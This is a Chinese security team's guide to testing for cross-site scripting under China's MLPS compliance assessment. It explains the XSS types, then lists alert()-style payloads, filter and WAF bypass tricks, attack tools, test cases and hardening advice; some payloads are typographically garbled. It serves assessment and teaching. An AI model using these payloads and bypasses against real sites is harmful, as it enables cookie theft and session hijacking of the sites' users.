XSS跨站腳本攻擊

語言: CN / TW / HK

0x01 等保測評項

GBT 22239-2019《信息安全技術 網絡安全等級保護基本要求》中,8.1.4.4安全計算環境—入侵防範項中要求包括:

a)應遵循最小安裝的原則,僅安裝需要的組件和應用程序;

b)應關閉不需要的系統服務、默認共享和高危端口;

c)應通過設定終端接入方式或網絡地址範圍對通過網絡進行管理的管理終端進行限制;

d)應提供數據有效性檢驗功能,保證通過人機接口輸入或通過通信接口輸入的內容符合系統設定要求;

e)應能發現可能存在的已知漏洞,並在經過充分測試評估後,及時修補漏洞;

f)應能夠檢測到對重要節點進行入侵的行為,並在發生嚴重入侵事件時提供報警。

XSS跨站腳本攻擊對應訪問控制項中要求d),所以安全控制點為 入侵防範d

GBT 28448-2019《信息安全技術 網絡安全等級保護測評要求》中,測評單元( L3-CES1-20) ,該項測評單元包括以下要求:

a)測評指標:應提供數據有效性檢驗功能,保證通過人機接口輸入或通過通信接口輸入的內容符合系統設定要求。

b)測評對象:業務應用系統、中間件和系統管理軟件及系統設計文檔等。

c)測評實施包括以下內容:

1)應核查系統設計文檔的內容是否包括數據有效性檢驗功能的內容或者模塊;

2)應測試驗證是否對人機接口或通信接口輸入的內容進行有效性檢驗。

d)單元判定:如果1)和2)均為肯定,則符合本測評單元指標要求,否則不符合或部分符合本測評單元指標要求。

XSS跨站腳本攻擊屬於測評單元(L3-CES1-20)中測評實施第2項,故測評單元為 L3-CES1-20.2

0x02 測試內容

通過構造的payload測試系統網站是否存在XSS漏洞。

0x03 漏洞原理

原理

XSS全稱跨站腳本(Cross Site Scripting),為避免與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS。這是一種將任意 Javascript 代碼插入到其他Web用户頁面中執行以達到攻擊目的的漏洞。攻擊者利用瀏覽器的動態展示數據功能,在HTML頁面裏嵌入惡意代碼。當用户瀏覽該頁時,這些潛入在HTML中的惡意代碼會被執行,用户瀏覽器被攻擊者控制,從而達到攻擊者的特殊目的,如 cookie竊取等。

XSS屬於代碼注入的一種,它允許攻擊者將代碼注入到網頁,其他用户在瀏覽網頁時就會受到影響。

分類

  1. 反射型:

又稱非持久型XSS,這種攻擊屬於一次性攻擊,只是簡單的把用户輸入的數據“反射”給瀏覽器。惡意代碼一般存放於鏈接當中,攻擊者將包含XSS代碼的惡意鏈接發送給目標用户,當目標用户訪問該鏈接時,服務器接受該目標用户的請求並進行處理,然後服務器把帶有XSS代碼的數據發送給目標用户的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本後,就會觸發XSS,也就是説攻擊者往往需要誘使用户點擊惡意鏈接才能攻擊成功。

常見的注入點:網站的搜索欄、用户登錄入口、輸入表單等地方。常用來竊取客户端Cookie或釣魚欺騙。

產生的原因一般是網站只是簡單的將用户輸入的數據直接或未經過完善的安全過濾就在瀏覽器中輸入,導致輸出的數據中存在可被瀏覽器執行的代碼數據。

  1. 存儲型:

又稱持久型XSS,比反射型XSS更具有威脅性,攻擊腳本會永久的存儲在目標服務器的數據庫或文件中,具有一定的隱蔽性。這種攻擊方式多見於論壇、博客和留言板,攻擊者在發帖的過程中,將惡意腳本與正常信息一起注入到留言中,隨着留言被服務器存儲下來,惡意腳本也被存儲到存儲器中。當其他用户瀏覽這個被注入惡意腳本的留言時,惡意腳本就會在用户的瀏覽器被執行。存儲型XSS能將惡意代碼永久的嵌入頁面中,所有訪問這個頁面的用具都將成為受害者。

常見注入點:論壇、博客、留言板、網站的留言、評論、日誌等交互處。

造成漏洞原因一般是由於Web應用程序對用户輸入數據的不嚴格,導致Web應用程序將黑客輸入的惡意跨站攻擊數據信息保存在服務端的數據庫或其他文件形式中。

  1. DOM型

DoM是文檔對象模型( Document Object Model)的縮寫。它是HTML文檔的對象表示,同時也是外部內容(例如 JavaScript)與HTML元素之間的接口。解析樹的根節點是“ Document"對象。DOM( Document object model),使用DOM能夠使程序和腳本能夠動態訪問和更新文檔的內容、結構和樣式。

DOM型的XSS是通過修改頁面DOM節點數據信息而形成的XSS跨站腳本攻擊。不同於反射型XSS和存儲型XSS,基於DOM的XSS跨站腳本攻擊往往需要針對具體的 Javascript DOM代碼進行分析,並根據實際情況進行XSS跨站腳本攻擊的利用。

並且DOM型XSS是基於JS上的,並不需要與服務器進行交互,它只發生在客户端處理數據的階段。當用户請求一個包含XSS惡意代碼的URL,服務器的響應不會以任何形式包含攻擊者的腳本,當用户的瀏覽器處理這個響應時,DOM對象就會處理XSS代碼。

造成漏洞的原因:這是一種基於DOM的跨站,這是客户端腳本本身解析不正確導致的安全問題。

常見注入點:通過js腳本對文檔對象進行編輯,從而修改頁面的元素。也就是説,客户端的腳本程序可以DOM動態修改頁面的內容,從客户端獲取DOM中的數據並在本地執行。由於DOM是在客户端修改節點的,所以基於DOM型的XSS漏洞不需要與服務器端交互,它只發生在客户端處理數據的階段

反射型XSS與DOM型區別:

  1. 反射型XSS攻擊中,服務器在返回HTML文檔的時候,就已經包含了惡意的腳本;

  2. DOM型ⅩSS攻擊中,服務器在返回HTML文檔的時候,是不包含惡意腳本的;惡意腳本是在其執行了非惡意腳本後,被注入到文檔裏的。

通過JS腳本對文檔對象進行編輯,從而修改頁面的元素。也就是説,客户端的腳本程序可以DOM動態修改頁面的內容,從客户端獲取DOM中的數據並在本地執行。由於DOM是在客户端修改節點的,所以基於DOM型的XSS漏洞不需要與服務器端交互,它只發生在客户端處理數據的階段。

  1. MXSS

不論是服務器端或客户端的XSS過濾器,都認定過濾後的HTM源代碼應該與瀏覽器所渲染後的HTML代碼保持一致,至少不會出現很大的出入。

然而,如果用户所提供的富文本內容通過 Javascript 代碼進屬性後,一些意外的變化會使得這個認定不再成立:一串看似沒有任何危害的HTML代碼,將逃過XSS過濾器的檢測,最終進入某個DOM節點中,瀏覽器的渲染引擎會將本來沒有任何危害的HTML代碼渲染成具有潛在危險的XSS攻擊代碼。

隨後,該段攻擊代碼,可能會被JS代碼中的其它一些流程輸出到DOM中或是其它方式被再次渲染,從而導致XSS的執行。這種由於HTML內容進入後發生意外變化( mutation,突變,來自遺傳學的一個單詞,大家都知道的基因突變,gene mutation),而最終導致XXS的攻擊流程,被稱為 突變XSS (mXSs, Mutation based Cross-Site-Scripting

  1. UXSS

UXSS全稱Universal Cross-Site Scripting,翻譯過來就是 通用型XSS ,也叫Universal XSS。UXSS保留了基本XSS的特點,利用漏洞,執行惡意代碼,但是有一個重要的區別:不同於常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來製造產生XSS的條件並執行代碼的一種攻擊類型。

通俗的説,就是原來我們進行XSS攻擊等都是針對Web應用本身,是因為Web應用本身存在漏洞才能被我們利用攻擊;而UXSS不同的是通過瀏覽器或者瀏覽器擴展的漏洞來”製作ⅩSS漏洞”,然後剩下的我們就可以像普通XSS那樣利用攻擊了。

不同於常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來製造產生XSS的條件並執行代碼的一種攻擊類型。UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來製造產生XSS的條件並執行代碼的一種攻擊類型。UXSS 可以理解為Bypass 同源策略。

常見漏洞點

  1. 數據交互的地方

GET、POST、Cookies、headers

反饋與瀏覽

富文本編輯器

各類標籤插入和自定義

  1. 數據輸入的地方

用户資料

關鍵詞、標籤、説明

文件上傳

0x04 代碼示例

此段代碼中第170行、305行獲取請求參數中的groupId值,在未經檢查參數合法性的情況下輸出在javascript代碼中,造成反射型XSS漏洞。

0x05 限制繞過

常見標籤

<script>alert(1)</script>

  1. <img>標籤

<imgsrc=javascript:alert( "xss" )>

<IMGSRC=javascript:alert( String .formCharCode( 88 , 83 , 83 ))>

<imgscr= "URL" style= 'Xss:expression(alert(/xss));'

<imgsrc= "x" onerror=alert( 1 )>

<imgsrc= "1" onerror= eval ( "alert('xss')" )>

<imgsrc= 1 onmouseover=alert( 'xss' )>

  1. <a>標籤

標準格式

<ahref="https://www.baidu.com">baidu</a>

< ahref="javascript:alert('xss')" > aa </ a >

< ahref=javascript:eval(alert('xss')) > aa </ a >

< ahref="javascript:aaa"onmouseover="alert( / xss /)"> aa </ a >

< ahref=""onclick=eval(alert('xss')) > aa </ a >

< ahref=kycg.asp?ttt=1000onmouseover=prompt('xss')y=2016 > aa </ a >

  1. <input>標籤

<inputvalue= "" onclick=alert( 'xss' )type= "text" >

<inputname= "name" value = "" onmouseover=prompt( 'xss' )bad= "" >

<inputname= "name" value = "" ><script>alert( 'xss' )</script>

  1. <form>標籤

<formaction=javascript:alert( 'xss' )method= "get" >

<formaction=javascript:alert( 'xss' )>

<formmethod=postaction=aa.asp?onmouseover=prompt( 'xss' )>

<formmethod=postaction=aa.asp?onmouseover=alert( 'xss' )>

<formaction=1onmouseover=alert( 'xss)>

<formmethod=postaction="data:text/html;base64,<script>alert(' xss ')</script>">

<formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

  1. <iframe>標籤

<iframesrc=javascript:alert( 'xss' );height=5width=1000/><iframe>

<iframesrc= "data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;" ></iframe>

<iframesrc= "data:text/html;base64,<script>alert('xss')</script>" >

<iframesrc= "data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=" >

<iframesrc= "aaa" onmouseover=alert( 'xss' )/><iframe>

<iframesrc= "javascript&colon;prompt&lpar;xss&rpar;" ></iframe>

  1. <svg>標籤

<svgonload=alert(1)>
  1. CSS

<img STYLE="background-image:url(javascript:alert('XSS'))">

限制繞過

實際應用中web程序往往會通過一些過濾規則來防止代有惡意代碼的用户輸入被顯示。當上述代碼(常見標籤中的代碼)被注入到輸入框或者URL參數中時,可能會成功也可能會失敗,如果失敗了,並不意味着網站不存在XSS漏洞,需要對其進行繞過等方式發掘安全漏洞。這裏,給大家總結一些XSS繞過方法。

閉合標籤

  1. 常規閉合,通 過各種方式,閉合前面的語句。

function escape ( input ) {

// warm up

// script should be executed without user interaction

return '<input type="text" value="' + input + '">' ;

}

"><script>alert(1);script>
  1. 雙寫半開括號

function escape ( input ) {

// tags stripping mechanism from ExtJS library

// Ext.util.Format.stripTags

var stripTagsRE = /<\/?[^>]+>/gi ;

input = input.replace(stripTagsRE, '' );

return '<article>' + input + '</article>' ;

}

以上代碼中正則會處理尖括號和尖括號中的內容,將其替換成空。 所以可以 使用雙寫半開括號"<<"繞過:

<img src=1 onerror="prompt(1)"<
  1. 反引號+編碼

function escape ( input ) {

// v-- frowny face

input = input.replace( /[=(]/g , '' );

// ok seriously, disallows equal signs and open parenthesis

return input;

}

以上代碼對等號 和左括號進行過濾,所以使用反引號代替括號,在通過編碼解決。

<script>setTimeoutprompt\u00281\u0029;</script>
  1. 閉合註釋

function escape ( input ) {

// filter potential comment end delimiters

input = input.replace( /->/g , '_' );

// comment the input to avoid script execution

return '<!-- ' + input + ' -->' ;

}

以上代碼將輸出的內容放在註釋中,且對->做了替換處理。 所以 html可以–>或–!>閉合註釋

--!><script>prompt(1)</script>
  1. 閉合大部分的標籤

*/-->'");>iframe>script>style>title>textarea><a>aa>#*/-->'");>iframe>script>style>title>textarea><iframe >
  1. 寬字符閉合

*/-->%cf"%d5'>frame>script>style>title>textarea>
  1. 回車換行

很多時候,回車換行能繞過很多的限制

%0D%0A

標籤檢測繞過

fuzz各種標籤,檢查是否存在攔截或者過濾

  1. 針對黑名單

  1. 大小寫混寫 <ScRipt>ALeRt("XSS");sCRipT>

  2. 雙寫繞過 <scscriptript>alert(1)</scriscriptpt>

  3. 嵌套繞過 ript>alert(/xss/);script>alert(/xss/);script>

  4. 空字符繞過 ,09ipt>ALeRt(/XSS/);sCRipT>

  5. 特殊字符黑名單,採用其他字符代替,如:

限制 " 符號,輸入 < img src = 1 onclick = alert( ' 1 ')>

限制 ' 符號,輸入 < img src = 1 onclick = alert(/1/) > < img src = 1 onclick = "alert(1)" >

限制 () 符號,輸入 < img src = 1 onclick = "alert `'1'`" >

限制 () ' " 符號,輸入 < img src = 1 onclick = alert ` 1 `>

或使用實體編碼繞過。

  1. 繞過字符長度限制

  1. 利用事件 縮短長度,如,“onclick=alert(1)//”

  2. 使用base標籤 base標籤可以運用於頁面的任何地方,且作用於之後的所有標籤。通過在頁面插入base標籤,就可以在遠程服務器偽造圖片,鏈接或腳本,劫持頁面的相對路徑的標籤。

  3. 對window.name賦值 ,沒有特殊的字符限制。因為window對象是瀏覽器的窗體,而不是document對象。因此很多時候window對象不受同源策略的限制。可以用這個實現跨域,跨界面的傳遞。

3. 編碼繞過

Javascript的編碼

十六進制

Unicode

URL編碼

JS編碼

HTML實體編碼

在線編碼/解碼工具:站長工具-編碼解碼在線、107000工具站、在線jsons字符實體轉換、在線HTML字符實體轉換

4. 使用其他標籤 <a> <href> <img> 等;

5. 使用空字符, 在關鍵詞中添加空字符;

6. 使用轉義字符;

常規Waf繞過思路

[ + ] 標籤語法替換

[ + ] 特殊符號干擾 比如 / #

[ + ] 提交方式更改 Request的前提下,Waf只檢查URL內容而不檢查POST內容

[ + ] 垃圾數據溢出

[ + ] 加密解密算法

[ + ] 結合其他漏洞繞過

XSS自動化工具

Xwaf,下載地址:github.com/ 3 xp10it/xwaf

XSStrike,下載地址:github.com/s0md3v/XSStr

Fuzzing測試:

在線生成Fuzzing字典:https: //xssfuzzer.com/fuzzer.html

Fuzzing字典:https: //github.com/TheKingOfDuck/fuzzDicts

0x06 測試過程

反射型XSS、DOM型XSS

  1. 驗證測試情況

在網站的搜索欄、用户登錄入口、輸入表單等處輸入payload,查看頁面是否有彈框,則存在反射型XSS漏洞;

  1. 現實攻擊情況

攻擊者尋找具有XSS漏洞的網站,植入payload構造惡意鏈接,將惡意鏈接發給用户,誘騙用户點擊,用户點擊此鏈接,XSS攻擊執行。

存儲型XSS

  1. 驗證測試情況

在論壇、博客、留言板、網站的留言、評論、日誌等交互處輸入payload,查看頁面是否有彈框。若有,先切換至網站其他頁面,再返回輸入payload的頁面,若依舊出現彈窗,則存在存儲型XSS漏洞。

  1. 現實攻擊情況

攻擊者在發帖或留言的過程中,將惡意腳本連同正常信息一起注入到發佈內容中。隨着發佈內容被服務器存儲下來,惡意腳本也將永久的存放到服務器的後端存儲器中。當其他用户瀏覽這個被注入了

惡意腳本的帖子時,惡意腳本就會在用户的瀏覽器中得到執行。

常用payload:

< script > alert(1) </ script > // 調用JavaScript語句

< img src = x onerror = alert(1) > // src是錯誤的 就會調用error函數

< a href = javascript:alert(1) > // 點擊a即可觸發

< svg onload = alert(1) > // 使用svg標籤

測試案例1

在機構名稱處輸入測試代碼 <script>alert(1)</script> ,頁面出現彈窗,證明XSS語句已被執行,此網站存在XSS漏洞。

測試案例2

在標題處處輸入測試代碼 <script>alert(/XSS/)</script> ,頁面出現彈窗,點擊別的功能模塊後再次返回此頁面,依舊彈窗,所以此網站存在 存儲型XSS漏洞

測試案例3

xss挑戰之旅

  1. 訪問網頁,打開瀏覽器的開發者工具,查看到代碼中對 尖括號和雙引號: > < " 進行了過濾,但沒有過濾 ' (單引號)。

  1. 所以,此處嘗試js語句, ' onmouseover=alert(666)// ' onfocus=javascript:alert(1) ' 進行測試,但是代碼中帶有的剩餘字符無法閉合,所以使用 // 進行註釋,最終實現XSS彈窗。

0x07 風險分析

攻擊者通過Web應用程序發送惡意代碼,一般以瀏覽器腳本的形式發送給不同的終端用户。 WEB程序代碼中把用户提交的參數未做過濾或過濾不嚴就直接輸出到頁面,參數中的特殊字符打破了HTML頁面的原有邏輯,攻擊者就可以利用該漏洞執行惡意以下操作

  1. 網絡釣魚,包括獲取各類用户賬號;

  2. 竊取用户cookies資料,從而獲取用户隱私信息,或利用用户身份進一步對網站執行操作;

  3. 劫持用户(瀏覽器)會話,從而執行任意操作,例如非法轉賬、強制發表日誌、電子郵件等;

  4. 強制彈出廣告頁面、刷流量等;

  5. 網頁掛馬;

  6. 進行惡意操作,如任意篡改頁面信息、刪除文章等;

  7. 進行大量的客户端攻擊,如ddos等;

  8. 獲取客户端信息,如用户的瀏覽歷史、真實p、開放端口等;

  9. 控制受害者機器向其他網站發起攻擊;

  10. 結合其他漏洞,如csrf,實施進步危害;

  11. 提升用户權限,包括進一步滲透網站;

  12. 傳播跨站腳本蠕蟲等。

0x08 加固建議

形成XSS漏洞的主要原因是程序對輸入和輸出的控制不夠嚴格,導致“精心構造”的腳本輸入後,在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。

因此在XSS漏洞的防範上,一般會採用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理。

輸入過濾 :對輸入進行過濾,不允許可能導致XSS攻擊的字符輸入;

輸出轉義 :根據輸出點的位置對輸出到前端的內容進行適當轉義;

輸入檢查

輸入檢查的邏輯必須放在服務器端代碼中實現,如果只是在客户端使用Javascript進行輸入檢查,很容被繞過。目前Web開發的普遍做法是同時在客户端Javascript中和服務器端代碼中實現相同的輸入檢查。客户端JavaScript的輸入檢查,可以阻擋大部分誤操作的正常用户,而節約服務器資源。

檢查內容:

a. 檢查特殊字符,如<、>、'、"等,如果發現存在特殊字符,則將其過濾或者編碼;

b. XSS Filter,會檢查XSS特徵的敏感字符,如<script>、javascript等敏感字符;

c. 字符串是否超過最大長度限制;

d. 數字是否在指定的範圍;

e. 是否符合特殊格式的要求

輸出檢查

一般而言,除了富文本的輸出外,在變量輸出到HTML頁面時,可以使用編碼或轉譯的方式防禦XSS攻擊。

使用安全的編碼函數:

  1. HtmlEncode編碼方式,針對HTML代碼;

  2. JavascriptEncode編碼方式,針對JavaScript;

  3. htmlentities()、htmlspecialchars()函數,針對PHP;

  4. XMLEncode、JSONEncode等。

處理富文本

  1. 在過濾富文本時,“事件”應被嚴格禁止,因為富文本的展示需求裏不應該包括“事件”這種動態效果;

  2. 在標籤的選擇上,應該使用白名單,避免使用黑名單。白名單同樣也應用於屬性與事件的選擇;

  3. 儘可能禁止用户自定義CSS與style;

防禦DOM型XSS

DOM型XSS是一種比較特別的XSS漏洞,以上防禦方法不太適用,需要特別對待。

從JavaScript輸出到HTML頁面,也相當於一次XSS輸出的過程,所以需要分語境使用不同的編碼函數。

其他加固方式

  1. Anti_XSS

微軟開發的,.NET平台下的,用於防止XSS攻擊的類庫,它提供了大量的編碼函數來對用户輸入的數據進行編碼,可以實現基於白名單的輸入的過濾和輸出的編碼。

  1. HttpOnly Cookie

當Cookie在消息頭中被設置為HttpOnly時,這樣支持Cookie的瀏覽器將阻止客户端Javascript直接訪問瀏覽器中的Cookies,從而達到保護敏感數據的作用。

  1. Noscript

Noscript是一款免費的開源插件,該插件默認禁止所有的腳本,但可以自定義設置允許通過的腳本。

  1. WAF

使用WAF,比如軟件WAF、硬件WAF、雲WAF。

在修補XSS漏洞時遇到最大挑戰之一就是漏洞數量太多,因此開發者可能來不及也不情願修補這些漏洞,從業務風險的角度來重新定位每個XSS漏洞,就具有了重要的意義。理論上講,XSS漏洞雖然複雜,但是卻是可以徹底解決的,在設計XSS解決方案時,應該深入理解XSS攻擊的原理,針對不同的場景使用不同的方法。同時也可以參考很多的開源項目。

參考

https: / /baijiahao.baidu.com/s ?id= 1711691365751381912 &wfr=spider& for =pc

https: / /www.jianshu.com/p /63823aabb99d

Tide安全團隊正式成立於2019年1月,是新潮信息旗下以互聯網攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網絡攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

團隊作為“省級等保關鍵技術實驗室”先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室。 團隊公眾號自創建以來,共發佈原創文章370餘篇,自研平台達到26個,目有15個平台已開源。此外積極參加各類線上、線下CTF比賽並取得了優異的成績。如有對安全行業感興趣的小夥伴可以踴躍加入或關注我們